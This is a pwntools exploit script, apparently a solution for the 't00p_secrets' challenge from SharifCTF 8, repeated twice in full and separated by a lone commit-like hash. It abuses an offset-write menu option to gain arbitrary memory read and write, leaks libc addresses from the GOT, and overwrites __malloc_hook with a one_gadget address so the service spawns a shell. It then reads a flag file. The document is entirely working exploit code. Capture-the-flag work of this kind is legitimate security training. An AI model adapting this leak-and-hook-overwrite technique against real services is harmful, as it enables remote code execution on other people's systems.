#!/usr/bin/env python2

"""
Exploit for t00p_secrets from SharifCTF 8
https://github.com/grzegorz225 <gorbak25@gmail.com>
"""

from pwn import *

target = remote("ctf.sharif.edu", 22107)
binary = ELF("./t00p_secrets")
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")

target.readuntil("master key:")
target.sendline("wjigaep;r[jg]ahrg[es9hrg")

def write_2b_at_ofset(val, offset):
    target.sendline("3")
    target.sendline(str(offset))
    target.sendline(str(val))
    target.readuntil("6. Exit")

def write_8b_at_ofset(val, offset):
    for i in range(4):
        num = int("0x"+p64(val)[2*i:2*(i+1)][::-1].encode('hex'),16)
        write_2b_at_ofset(num, offset+i)

def arbitrary_read(addr, size):
    write_8b_at_ofset(size, 28)
    write_8b_at_ofset(addr, 28 + 8 * 6 - 4)
    target.sendline("5")
    target.readuntil("id to print:")
    target.sendline("5")
    target.readuntil("content: ")
    return target.recv(size)

def arbitrary_write(addr, size, data):
    write_8b_at_ofset(size, 28)
    write_8b_at_ofset(addr, 28 + 8 * 6 - 4)
    target.readuntil("6. Exit")

    target.sendline("3")
    target.readuntil("secret id to edit:")
    target.sendline("5")
    target.readuntil("binary(0) or String(1):")
    target.sendline("0")
    target.readuntil("Please enter secret content: ")
    target.sendline(data)

__libc_start_main = u64(arbitrary_read(binary.got['__libc_start_main'], 8))
puts = u64(arbitrary_read(binary.got['puts'], 8))
write = u64(arbitrary_read(binary.got['write'], 8))

print "Located __libc_start_main at: "+hex(__libc_start_main)
print "Located puts at: "+hex(puts)
print "Located write at: "+hex(write)

libc_base = write-libc.symbols['write']
print "Located libc at: "+hex(libc_base)

""" onegadget output:
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

#overwrite __malloc_hook with oneshot gadget
arbitrary_write(libc_base+libc.symbols['__malloc_hook'], 9, p64(libc_base+0x4526a))

target.sendline("1")
target.sendline("1")
target.sendline("100")
target.sendline("0")
target.sendline("A"*100)
target.readuntil("body size:")

target.clean()

print "Enjoy your shell!"
target.sendline("id")
target.sendline("cat /home/suctf/flag")

target.interactive()

fad9655d752a10725ce0573eef7349210f6e2055
#!/usr/bin/env python2

"""
Exploit for t00p_secrets from SharifCTF 8
https://github.com/grzegorz225 <gorbak25@gmail.com>
"""

from pwn import *

target = remote("ctf.sharif.edu", 22107)
binary = ELF("./t00p_secrets")
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")

target.readuntil("master key:")
target.sendline("wjigaep;r[jg]ahrg[es9hrg")

def write_2b_at_ofset(val, offset):
    target.sendline("3")
    target.sendline(str(offset))
    target.sendline(str(val))
    target.readuntil("6. Exit")

def write_8b_at_ofset(val, offset):
    for i in range(4):
        num = int("0x"+p64(val)[2*i:2*(i+1)][::-1].encode('hex'),16)
        write_2b_at_ofset(num, offset+i)

def arbitrary_read(addr, size):
    write_8b_at_ofset(size, 28)
    write_8b_at_ofset(addr, 28 + 8 * 6 - 4)
    target.sendline("5")
    target.readuntil("id to print:")
    target.sendline("5")
    target.readuntil("content: ")
    return target.recv(size)

def arbitrary_write(addr, size, data):
    write_8b_at_ofset(size, 28)
    write_8b_at_ofset(addr, 28 + 8 * 6 - 4)
    target.readuntil("6. Exit")

    target.sendline("3")
    target.readuntil("secret id to edit:")
    target.sendline("5")
    target.readuntil("binary(0) or String(1):")
    target.sendline("0")
    target.readuntil("Please enter secret content: ")
    target.sendline(data)

__libc_start_main = u64(arbitrary_read(binary.got['__libc_start_main'], 8))
puts = u64(arbitrary_read(binary.got['puts'], 8))
write = u64(arbitrary_read(binary.got['write'], 8))

print "Located __libc_start_main at: "+hex(__libc_start_main)
print "Located puts at: "+hex(puts)
print "Located write at: "+hex(write)

libc_base = write-libc.symbols['write']
print "Located libc at: "+hex(libc_base)

""" onegadget output:
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

#overwrite __malloc_hook with oneshot gadget
arbitrary_write(libc_base+libc.symbols['__malloc_hook'], 9, p64(libc_base+0x4526a))

target.sendline("1")
target.sendline("1")
target.sendline("100")
target.sendline("0")
target.sendline("A"*100)
target.readuntil("body size:")

target.clean()

print "Enjoy your shell!"
target.sendline("id")
target.sendline("cat /home/suctf/flag")

target.interactive()
